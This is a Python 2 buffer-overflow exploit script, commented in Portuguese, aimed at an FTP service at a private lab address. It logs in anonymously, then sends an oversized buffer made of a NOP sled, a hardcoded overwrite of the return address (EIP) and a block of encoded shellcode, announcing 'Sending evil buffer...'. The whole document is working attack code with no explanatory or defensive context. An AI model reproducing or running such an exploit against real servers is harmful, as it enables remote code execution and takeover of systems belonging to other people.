#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

push = "\x90"*2011 # alterado o A para NOP's
EIP = "\x65\x82\xA5\x7C" 
NOP = "\x90"* 50 # o offset era 36 mas e o minimo que devemos colocar.

shellcode = "\xbd\x94\x07\xda\x8b\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" + \
"\xb1\x56\x31\x6e\x13\x83\xee\xfc\x03\x6e\x9b\xe5\x2f\x77" +\
"\x4b\x60\xcf\x88\x8b\x13\x59\x6d\xba\x01\x3d\xe5\xee\x95" +\
"\x35\xab\x02\x5d\x1b\x58\x91\x13\xb4\x6f\x12\x99\xe2\x5e" +\
"\xa3\x2f\x2b\x0c\x67\x31\xd7\x4f\xbb\x91\xe6\x9f\xce\xd0" +\
"\x2f\xfd\x20\x80\xf8\x89\x92\x35\x8c\xcc\x2e\x37\x42\x5b" +\
"\x0e\x4f\xe7\x9c\xfa\xe5\xe6\xcc\x52\x71\xa0\xf4\xd9\xdd" +\
"\x11\x04\x0e\x3e\x6d\x4f\x3b\xf5\x05\x4e\xed\xc7\xe6\x60" +\
"\xd1\x84\xd8\x4c\xdc\xd5\x1d\x6a\x3e\xa0\x55\x88\xc3\xb3" +\
"\xad\xf2\x1f\x31\x30\x54\xd4\xe1\x90\x64\x39\x77\x52\x6a" +\
"\xf6\xf3\x3c\x6f\x09\xd7\x36\x8b\x82\xd6\x98\x1d\xd0\xfc" +\
"\x3c\x45\x83\x9d\x65\x23\x62\xa1\x76\x8b\xdb\x07\xfc\x3e" +\
"\x08\x31\x5f\x57\xfd\x0c\x60\xa7\x69\x06\x13\x95\x36\xbc" +\
"\xbb\x95\xbf\x1a\x3b\xd9\xea\xdb\xd3\x24\x14\x1c\xfd\xe2" +\
"\x40\x4c\x95\xc3\xe8\x07\x65\xeb\x3d\x87\x35\x43\xed\x68" +\
"\xe6\x23\x5d\x01\xec\xab\x82\x31\x0f\x66\xb5\x75\xc1\x52" +\
"\x96\x11\x20\x65\x09\xbe\xad\x83\x43\x2e\xf8\x1c\xfb\x8c" +\
"\xdf\x94\x9c\xef\x35\x89\x35\x78\x01\xc7\x81\x87\x92\xcd" +\
"\xa2\x24\x3a\x86\x30\x27\xff\xb7\x47\x62\x57\xb1\x70\xe5" +\
"\x2d\xaf\x33\x97\x32\xfa\xa3\x34\xa0\x61\x33\x32\xd9\x3d" +\
"\x64\x13\x2f\x34\xe0\x89\x16\xee\x16\x50\xce\xc9\x92\x8f" +\
"\x33\xd7\x1b\x5d\x0f\xf3\x0b\x9b\x90\xbf\x7f\x73\xc7\x69" +\
"\x29\x35\xb1\xdb\x83\xef\x6e\xb2\x43\x69\x5d\x05\x15\x76" +\
"\x88\xf3\xf9\xc7\x65\x42\x06\xe7\xe1\x42\x7f\x15\x92\xad" +\
"\xaa\x9d\xb2\x4f\x7e\xe8\x5a\xd6\xeb\x51\x07\xe9\xc6\x96" +\
"\x3e\x6a\xe2\x66\xc5\x72\x87\x63\x81\x34\x74\x1e\x9a\xd0" +\
"\x7a\x8d\x9b\xf0"


print "\nSending evil buffer..."
s.connect(('192.168.2.131',21))
data = s.recv(1024)
print data
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
print data
s.send('PASS anonymous@' + '\r\n')
data = s.recv(1024)
print data
s.send(push + EIP + NOP + shellcode)
data = s.recv(1024)
print data
s.close()
